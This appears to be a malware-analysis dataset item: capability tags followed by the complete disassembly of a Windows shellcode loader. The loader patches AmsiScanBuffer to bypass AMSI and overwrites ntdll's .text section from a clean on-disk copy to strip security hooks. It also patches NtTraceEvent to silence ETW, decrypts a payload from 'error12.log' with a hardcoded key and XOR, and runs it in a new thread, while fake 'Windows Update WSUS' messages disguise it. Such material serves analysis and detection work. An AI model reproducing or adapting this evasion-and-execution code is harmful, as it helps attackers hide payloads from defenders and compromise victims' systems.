Function at 0x140001c50
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call
Get file size
Link many functions at runtime
Patch event tracing for windows function
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f5d8]
mov eax, 0x1f6d8
call fcn.140003870
sub rsp, rax
movaps xmmword [rsp + 0x1f6c0], xmm6
xor edi, edi
mov qword [rbp + 0x10], rdi
mov qword [rbp - 0x10], rdi
mov rsi, 0xffffffffffffffff
mov qword [rbp + 8], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov r13d, edi
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x30], rdi
mov dword [rbp], edi
mov dword [rbp + 0x1f628], edi
lea rax, [0x140002660]
mov qword [rsp + 0x20], rax
lea r9, [0x1400026c0]
lea edx, [rdi + 0x20]
mov r8d, 0xfa0
lea rcx, [rbp + 0x1c0]
call fcn.140002cb4
nop
mov ebx, 0x18977
nop dword [rax]
lea rdx, [rbp + 0x1c0]
call fcn.140001a00
sub rbx, 1
jne 0x140001ce0
mov eax, dword [0x1400049f8]
mov dword [rbp + 0x70], eax
movzx eax, word [0x1400049fc]
mov word [rbp + 0x74], ax
mov eax, dword [0x140004a00]
mov dword [rbp - 8], eax
movzx eax, word [0x140004a04]
mov word [rbp - 4], ax
mov ebx, 2
mov r8d, ebx
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x140001d58
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____LoadLibrary__1__Failed_With_Error:__d__n
call fcn.1400017e0
jmp 0x140002088
mov dword [rbp + 0x88], 0x736d41
xorps xmm0, xmm0
movups xmmword [rbp + 0x8c], xmm0
movsd xmm1, qword [str.iScanBuffer]
movsd qword [rbp + 0x60], xmm1
mov eax, dword [0x140004a40]
mov dword [rbp + 0x68], eax
lea rcx, [rbp + 0x88]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140001d90
lea r8, [rbp + 0x60]
xor edx, edx
nop
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001da0
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, rax
mov edx, edi
mov dword [rbp + 0x1f620], edi
mov r15d, 1
test rax, rax
je 0x140001e67
mov eax, edx
cmp byte [rax + r8], 0xc3
jne 0x140001e00
lea eax, [rbx - 1]
cmp byte [rax + r8], 0xcc
jne 0x140001e00
mov eax, ebx
cmp byte [rax + r8], 0xcc
je 0x140001e06
inc edx
inc ebx
jmp 0x140001de4
test edx, edx
je 0x140001e67
mov ebx, edx
add rbx, r8
cmp byte [rbx], 0x74
jne 0x140001e1f
movzx eax, byte [rbx + 1]
cmp byte [rax + rbx + 2], 0xb8
je 0x140001e24
add edx, 0xffffffff
jmp 0x140001e08
test rbx, rbx
je 0x140001e67
lea r9, [rbp + 0x1f620]
mov r8d, 0x40
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001e67
mov byte [rbx], 0x75
lea r9, [rbp + 0x1f620]
mov r8d, dword [rbp + 0x1f620]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e73
lea rcx, str.ISMA_n
call fcn.1400017e0
lea rcx, str.Windows_Update_WSUS_test_n
call fcn.1400017e0
mov dword [rbp - 0x80], 0x4d660059
mov dword [rbp - 0x7c], 0x555e5453
mov dword [rbp - 0x78], 0x4966494d
mov dword [rbp - 0x74], 0x5f4e4943
mov dword [rbp - 0x70], 0x66080957
mov dword [rbp - 0x6c], 0x565e4e54
mov dword [rbp - 0x68], 0x565e1456
mov word [rbp - 0x64], 0x3a56
mov dword [rbp - 0x28], 0x61657243
mov dword [rbp - 0x24], 0x69466574
mov dword [rbp - 0x20], 0x614d656c
mov dword [rbp - 0x1c], 0x6e697070
mov word [rbp - 0x18], 0x4167
mov byte [rbp - 0x16], 0
mov dword [rbp - 0x60], 0x5670614d
mov dword [rbp - 0x5c], 0x4f776569
mov dword [rbp - 0x58], 0x6c694666
mov word [rbp - 0x54], 0x65
mov dword [rbp - 0x50], 0x616d6e55
mov dword [rbp - 0x4c], 0x65695670
mov dword [rbp - 0x48], 0x46664f77
mov dword [rbp - 0x44], 0x656c69
mov dword [rbp - 0x40], 0x7243744e
mov dword [rbp - 0x3c], 0x65746165
mov dword [rbp - 0x38], 0x65726854
mov dword [rbp - 0x34], 0x78456461
mov byte [rbp - 0x30], 0
mov dword [rsp + 0x70], 0x6c64746e
mov dword [rsp + 0x74], 0x6c642e6c
mov word [rsp + 0x78], 0x6c
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
movsx edx, byte [rbp - 0x63]
movd xmm2, edx
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
mov eax, edi
lea rcx, [rbp - 0x80]
nop dword [rax]
movdqu xmm0, xmmword [rcx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
add eax, 0x10
lea rcx, [rcx + 0x10]
cmp eax, 0x10
jb 0x140001fc0
movsxd rcx, eax
cmp rcx, 0x1e
jae 0x140001ffd
lea rcx, [rbp + rcx - 0x80]
nop dword [rax]
xor byte [rcx], dl
inc eax
lea rcx, [rcx + 1]
cmp eax, 0x1e
jb 0x140001ff0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r15d
mov edx, 0x80000000
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
mov qword [rbp + 0x58], rax
cmp rax, 0xffffffffffffffff
je 0x140002088
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
call rbx
mov rbx, rax
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14000207f
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call r14
mov r12, rax
mov qword [rbp + 0x40], rax
test rax, rax
jne 0x1400020e9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, esi
mov r14, qword [rbp + 0x20]
lea r9, [0x140002660]
mov edx, 0x20
mov r8d, 0xfa0
lea rcx, [rbp + 0x1c0]
call fcn.140002bb0
nop
test r14, r14
je 0x1400025bb
sub r13, r14
mov rax, r14
cmp r13, 0x1000
jb 0x1400025b0
add r13, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x38], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
mov dword [rbp + 0x1f620], edi
movsxd r14, dword [r12 + 0x3c]
add r14, r12
mov dword [rsp + 0x60], 0x74726956
mov dword [rsp + 0x64], 0x506c6175
mov dword [rsp + 0x68], 0x65746f72
mov word [rsp + 0x6c], 0x7463
mov byte [rsp + 0x6e], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov edx, edi
movzx r8d, word [r14 + 6]
test r8d, r8d
je 0x1400021ea
movzx r9d, word [r14 + 0x14]
lea r10, str..text
movsxd rax, edx
lea rcx, [rax + rax*4]
lea rbx, [r14 + rcx*8]
add rbx, r9
mov rax, rdi
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r10 + rax - 1]
jne 0x140002254
cmp rax, 6
jne 0x140002183
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r15
lea r9, [rbp + 0x1f620]
lea r8d, [rax + 0x3a]
call r13
cmp dword [rbp + 0x1f620], 0
je 0x1400021ea
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r12]
lea rcx, [rax + r15]
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r15
lea r9, [rbp + 0x1f620]
mov r8d, dword [rbp + 0x1f620]
call r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r12, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r13d, 1
mov r8d, r13d
mov edx, 0x80000000
lea rcx, str.error12.log
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rbx
cmp rbx, 0xffffffffffffffff
jne 0x140002260
mov rcx, rbx
call rax
nop
mov r14, qword [rbp + 0x20]
jmp 0x140002329
inc edx
cmp edx, r8d
jge 0x1400021ea
jmp 0x140002172
mov dword [rbp + 0x1f630], edi
lea rdx, [rbp + 0x1f638]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
mov byte [rbp + 0x1f620], 0
mov edx, eax
test eax, eax
je 0x14000229e
lea r8, [rbp + 0x1f620]
lea rcx, [rbp + 0x20]
call fcn.1400028a0
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x18], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1f630]
mov r8d, r14d
mov r14, qword [rbp + 0x20]
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r15d, eax
test rbx, rbx
je 0x1400022cf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test r15d, r15d
je 0x140002329
mov rbx, qword [rbp + 0x28]
sub rbx, r14
mov qword [rbp], rbx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp + 8], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf003f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0x10], rax
movsxd r8, ebx
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [rbp + 0x1f628], edi
lea rdx, str.NtTraceEvent
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea r9, [rbp + 0x1f628]
mov r8d, 0x40
mov rdx, r13
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [rbx], 0xc3
lea r9, [rbp + 0x1f628]
mov r8d, dword [rbp + 0x1f628]
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1f620], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf003f
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r13, rax
mov rbx, qword [rbp]
lea rax, str.12345678901234561234567890123459
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400023c0
cmp esi, 0x10
jne 0x1400023d3
xor r8b, r8b
jmp 0x1400023e7
movzx r8d, byte [rbp + 0x1b0]
cmp esi, 0x20
mov eax, 1
cmove r8d, eax
mov byte [rbp + 0x1b0], r8b
lea rcx, [rbp + 0xb0]
call section..text
movups xmm0, xmmword [str.1234567890123459]
movups xmmword [rbp + 0x1a0], xmm0
mov r15d, ebx
test ebx, ebx
je 0x140002505
lea rsi, [r13 + 2]
dec r15
shr r15, 4
inc r15
movzx r12d, byte [rbp + 0x1b0]
nop dword [rax]
movups xmm6, xmmword [rsi - 2]
movzx r8d, r12b
lea rdx, [rbp + 0xb0]
lea rcx, [rsi - 2]
call fcn.140001400
movzx eax, byte [rbp + 0x1a0]
xor byte [rsi - 2], al
movzx eax, byte [rbp + 0x1a1]
xor byte [rsi - 1], al
movzx eax, byte [rbp + 0x1a2]
xor byte [rsi], al
movzx eax, byte [rbp + 0x1a3]
xor byte [rsi + 1], al
movzx eax, byte [rbp + 0x1a4]
xor byte [rsi + 2], al
movzx eax, byte [rbp + 0x1a5]
xor byte [rsi + 3], al
movzx eax, byte [rbp + 0x1a6]
xor byte [rsi + 4], al
movzx eax, byte [rbp + 0x1a7]
xor byte [rsi + 5], al
movzx eax, byte [rbp + 0x1a8]
xor byte [rsi + 6], al
movzx eax, byte [rbp + 0x1a9]
xor byte [rsi + 7], al
movzx eax, byte [rbp + 0x1aa]
xor byte [rsi + 8], al
movzx eax, byte [rbp + 0x1ab]
xor byte [rsi + 9], al
movzx eax, byte [rbp + 0x1ac]
xor byte [rsi + 0xa], al
movzx eax, byte [rbp + 0x1ad]
xor byte [rsi + 0xb], al
movzx eax, byte [rbp + 0x1ae]
xor byte [rsi + 0xc], al
movzx eax, byte [rbp + 0x1af]
xor byte [rsi + 0xd], al
movups xmmword [rbp + 0x1a0], xmm6
lea rsi, [rsi + 0x10]
sub r15, 1
jne 0x140002430
mov r12, qword [rsp + 0x60]
mov rbx, qword [rbp]
movsxd rax, ebx
mov byte [rax + r13], 0
lea rcx, str.Windows_Update_WSUS_OK_n
call fcn.1400017e0
mov qword [rsp + 0x50], rdi
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9, r12
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp - 0x10]
call qword [rbp + 0x1f620]
mov rcx, qword [rbp + 0x40]
call qword [rbp + 0x48]
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rbp + 0x18]
jmp 0x14000208e
mov rdx, r13
mov rcx, r14
call fcn.140002c80
mov eax, edi
movaps xmm6, xmmword [rsp + 0x1f6c0]
add rsp, 0x1f6d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret